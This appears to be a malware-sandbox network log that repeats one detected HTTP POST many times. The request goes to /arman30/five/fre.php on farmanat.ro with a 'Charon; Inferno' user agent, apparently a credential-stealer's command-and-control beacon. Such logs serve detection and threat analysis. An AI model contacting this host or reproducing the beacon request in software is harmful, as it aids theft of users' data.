Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
